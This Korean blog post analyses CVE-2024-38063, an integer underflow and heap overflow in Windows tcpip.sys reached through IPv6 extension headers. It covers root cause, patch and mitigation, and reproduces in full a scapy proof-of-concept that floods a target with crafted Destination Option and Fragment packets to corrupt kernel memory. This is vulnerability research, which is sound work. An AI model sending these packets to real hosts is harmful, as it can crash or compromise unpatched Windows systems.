&lt;p&gt;&amp;lt;a href=&quot;https://www.microsoftpressstore.com/articles/article.aspx?p=2225063&amp;amp;seqNum=4&quot;&amp;gt;https://www.microsoftpressstore.com/articles/article.aspx?p=2225063&amp;amp;seqNum=4&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;또한 IPv6의 RFC 중, 확장 헤더에 대해서 설명된 부분(특히 Fragment, Destination Option)을 읽어보는 것을 먼저 추천합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2460&quot;&amp;gt;https://datatracker.ietf.org/doc/html/rfc2460&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;p&gt;본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료들은 다음과 같습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html&quot;&amp;gt;https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&quot;&amp;gt;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Vuln&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;CVE-ID : CVE-2024-38063&lt;/li&gt;
&lt;li&gt;CWE : &amp;lt;a href=&quot;https://cwe.mitre.org/data/definitions/191.html&quot;&amp;gt;Integer Underflow&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Env&lt;/h1&gt;
&lt;p&gt;타겟 버전&amp;lt;br&amp;gt;
&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/3.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;*분석에서 사용한 타겟 버전은 패치가 적용되기 바로 이전의 빌드 버전과 차이가 있습니다.&lt;/p&gt;
&lt;h1&gt;RCA&lt;/h1&gt;
&lt;p&gt;해당 취약점은 윈도우 tcpip.sys 커널 모듈에서 IPv6 확장 헤더 패킷의 일괄적 에러 처리 과정에서 발생하는 취약점입니다. 이로인해 Integer Underflow가 발생할 수 있습니다.&lt;/p&gt;
&lt;p&gt;윈도우에서는 IP 패킷들을 다음과 같이 특정 상황에서 일괄적으로 묶어 처리합니다. 윈도우에서는 전송받은 패킷을 처리하기 위해서 문서화되지 않은 구조체를 활용하며 해당 구조체는 패킷 데이터 처리를 위한 여러 메타데이터를 갖고 있습니다. Root Cause를 파악 하기위해서는 해당 구조체에 존재하는 필드 중, 현재 패킷의 헤더를 어디까지 파싱하였는지에 대한 필드(이하, current-offset이라 표현함.)에 대해 알아야합니다. 해당 필드가 이제부터 알아볼 취약점의 핵심이됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/4.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;IPv6 스펙을 보면 알 수 있듯, IPv6는 확장 헤더라는 기능이 있으며 이에 대한 처리를 위해 윈도우에서는 tcpip!Ipv6pProcessOptions 함수를 제공합니다. 이때 패치가 적용된 부분은 Ipv6pProcessOptions의 가장 하단에 존재하는 다음과 같은 부분입니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/5.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;해당 로직은 IPv6의 Destination option확장 헤더 처리 과정에서 유효하지 않은 값이 들어있을 때 패킷을 버리고 전송지로 ICMP Parameter Problem 메시지를 전송하는 역할을 합니다. 다음과 같은 코드로 잘못된 IPv6 확장 헤더를 보내 해당 메시지를 확인할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from scapy.all import *

ip_addr=&apos;&apos;
mac_addr=&apos;&apos;
iface = &apos;&apos;
packet = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata=&apos;a&apos;*3)])
sendp(packet, iface)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/6.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;IppSendErrorList는 앞서 언급한 패킷 연결 리스트를 돌며 각 패킷 구조체에 대해서 IppSendError를 호출하게됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/7.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;IppSendError는 일괄 처리중인 각 패킷 객체에 대해 current-offset 필드 0으로 만드는 작업을 수행하고 오류 표시를 한 뒤 해당 패킷을 되돌리는 처리를 하게됩니다.&lt;/p&gt;
&lt;p&gt;패킷 구조체에 대해서 current-offset 필드를 0으로 만들기 전 후 비교는 다음과 같습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;
&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/8.png&quot;&amp;gt;
&amp;lt;figcaption&amp;gt;IppSendError 호출 이전의 current-offset 필드값&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;
&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/9.png&quot;&amp;gt;
&amp;lt;figcaption&amp;gt;IppSendError 호출 이후의 current-offset 필드값&amp;lt;/figcaption&amp;gt;
&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;나머지 패킷은 current-offset이 에러 처리 로직에 의해 0으로 되었음에도 불구하고 에러 코드가 삽입되지 않았기 때문에 헤더 파싱을 계속하게됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/10.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;이로 인해 current-offset이라는 필드 값을 0으로 만든체로 다른 로직을 수행하게됩니다. 이는 current-offset을 활용한 로직에서 부작용을 불러일으킬 수 있습니다.&lt;/p&gt;
&lt;h1&gt;PoC Analysis&lt;/h1&gt;
&lt;p&gt;PoC를 분석하며 어떤 과정을 거쳐 Heap overflow까지 가능하게 했는지 알아봅시다.&lt;/p&gt;
&lt;p&gt;&amp;lt;a href=&quot;https://github.com/ynwarcs/CVE-2024-38063&quot;&amp;gt;https://github.com/ynwarcs/CVE-2024-38063&amp;lt;/a&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from scapy.all import *

iface=&apos;&apos;
ip_addr=&apos;&apos;
mac_addr=&apos;&apos;
num_tries=20
num_batches=20

def get_packets_with_mac(i):
    frag_id = 0xdebac1e + i
    first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata=&apos;a&apos;*3)])
    second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / &apos;aaaaaaaa&apos;
    third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

def get_packets(i):
    if mac_addr != &apos;&apos;:
        return get_packets_with_mac(i)
    frag_id = 0xdebac1e + i
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata=&apos;a&apos;*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / &apos;aaaaaaaa&apos;
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print(&quot;Sending packets&quot;)
if mac_addr != &apos;&apos;:
    sendp(final_ps, iface)
else:
    send(final_ps, iface)

for i in range(60):
    print(f&quot;Memory corruption will be triggered in {60-i} seconds&quot;, end=&apos;\r&apos;)
    time.sleep(1)
print(&quot;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PoC에서 볼 수 있듯, 총 3개의 패킷의 묶음을 연속해서 생성하고 있다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata=&apos;a&apos;*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / &apos;aaaaaaaa&apos;
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;첫 번째 나타나는 확장 헤더는 앞서 RCA에서 언급한 current-offset을 0으로 만드는 취약점을 트리거 시키기 위해서 삽입된 코드입니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata=&apos;a&apos;*3)])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;이로 인해 Destination Option 확장 헤더와 연결된 패킷들의 current-offset은 0으로 바뀌게됩니다.&lt;/p&gt;
&lt;p&gt;그 이후에는 취약점을 이용하기 위해 Fragment 확장 헤더를 사용하는 모습을 볼 수 있습니다. 이를 통해 Underflow를 트리거 하기위해서는 Fragment 확장 헤더 처리 기능을 이용한다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / &apos;aaaaaaaa&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;tcpip.sys에서 Fragment 확장 헤더에 대한 처리는 Ipv6pReceiveFragment 함수에서 맡고 있습니다.&lt;/p&gt;
&lt;p&gt;Ipv6pReceiveFragment는 재조립될 데이터 값을 계산하기 위해 current-offset을 이용하여 헤더가 아닌 데이터의 길이를 계산하는 로직을 가지고 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/11.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;이때 고정된 - 0x30을 수행하게되는데 취약점에 의해 current-offset은 0+8값을 갖고있기 때문에 Word integer underflow가 발생하게됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/12.png&quot;/&amp;gt;
&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/13.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;이로써 큰 길이(0xFFD8)를 갖는 재조립 패킷이 발생하게됩니다&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/14.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;PoC에서는 first를 Unfragmentable Part, second 패킷을 Fragmentable Part 부분이 되게끔하여 재조립을 유도하고 있습니다.  second 뒤에 나오는 third 패킷 코드는 오류에 대한 처리로 삽입된 코드입니다. 이는 PoC 원작자의 글을 보면 알 수 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-IPv6 fragment #2 (same id), that may also be concatenated to the first two, but its main purpose is to complete the 2nd fragment so that errors aren&apos;t thrown out in case normal processing happens&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이렇게 발생한 Fragment 객체들과 앞서 조작한 underflow된 큰 정수 값은 다음 두 곳에서 활용됩니다.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ipv6pReassembleDatagram&lt;/li&gt;
&lt;li&gt;Ipv6pReassemblyTimeout&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;p&gt;Ipv6pReassembleDatagram은 길이 검증에 대한 코드가 삽입되어있기 때문에 Ipv6pReassemblyTimeout 함수를 활용해야합니다. 앞서 발송된 second가 재조립되고 재조립에 실패하여 Ipv6pReassemblyTimeout 함수가 호출된 경우를 노립니다. second가 수신되고 1분동안 패킷을 받지 못한다면 IPv6 스펙상 다음과 같은 처리를 진행 해야합니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;패킷의 첫 번째 조각 수신 후 60초 이내에 재조립을 완료하기 위한 충분한 조각이 수신되지 않으면, 해당 패킷의 재조립을 포기해야 하며, 그 패킷에 대해 수신된 모든 조각은 폐기되어야 합니다. 첫 번째 조각(즉, Fragment Offset이 0인 조각)이 수신된 경우, 그 조각의 출처에 ICMP Time Exceeded -- Fragment Reassembly Time Exceeded 메시지를 보내야 합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;윈도우의 tcpip에선 Ipv6pReassemblyTimeout 함수가 해당 처리를 담당하고 있습니다.&lt;/p&gt;
&lt;p&gt;여기서 어떻게 Heap overflow가 유도되는지 알아봅시다.&lt;/p&gt;
&lt;p&gt;Ipv6pReassemblyTimeout에는 다음과 같이 메모리 영역을 할당받는 코드가 존재합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/15.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;a1+0x88에는 앞서 계산했던 데이터 크기가 저장되며, Integer underflow가 발생했을 경우 해당 영역은 계산에 의해 0x40 크기의 메모리를 요청하여 두 번째 인자(v19)에 할당된 메모리 주소를 저장합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/16.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;이후엔 다음 코드에서 볼 수 있듯, 할당받은 영역 + 0x28 부터 옵션 헤더에 해당하는 부분(a1+0x80)을 계산된 길이 만큼 복사를 진행합니다. 이때 a1+0x88는 underflow된 길이 값으로 0xFFD8 길이의 값이 복사됩니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/17.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;이로인해 Heap overflow가 발생하여 의도치 않은 영역을 덮어버릴 수 있습니다.&lt;/p&gt;
&lt;p&gt;버그로 인해 의도치 않은 영역을 덮어쓰거나 접근하게되면 다음과 같은 크래시를 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/18.png&quot;/&amp;gt;&lt;/p&gt;
&lt;h1&gt;Video&lt;/h1&gt;
&lt;p&gt;&amp;lt;video width=&quot;100%&quot; height=&quot;100%&quot; controls&amp;gt;
&amp;lt;source src=&quot;/assets/videos/CVE-2024-38063/CVE-2024-38063.mkv&quot; type=&quot;video/webm&quot;&amp;gt;
&amp;lt;/video&amp;gt;&lt;/p&gt;
&lt;h1&gt;Patch&lt;/h1&gt;
&lt;p&gt;패치는 아주 간단합니다.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/assets/img/CVE-2024-38063/19.png&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;패치된 코드를 보면 패킷 리스트가 아닌 오류가 발생한 해당 패킷에 대해서만 IppSendError를 호출하는 모습을 볼 수 있습니다. 이로인해 Destination option에 의해 이후 연결된 확장 헤더에 대해 current-offset이 0이되는 상황을 방지했습니다.&lt;/p&gt;
&lt;h1&gt;Mitigation&lt;/h1&gt;
&lt;p&gt;CVE-2024-38063는 8월 13일에 공개된 패치를 적용하거나, IPv6 기능을 비활성화 시킴으로써 방지할 수 있습니다.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html&quot;&amp;gt;https://malwaretech.com/2024/08/exploiting-CVE-2024-38063.html&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&quot;&amp;gt;https://doar-e.github.io/blog/2021/04/15/reverse-engineering-tcpipsys-mechanics-of-a-packet-of-the-death-cve-2021-24086/&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;li&gt;&amp;lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc2460&quot;&amp;gt;https://datatracker.ietf.org/doc/html/rfc2460&amp;lt;/a&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item></channel></rss>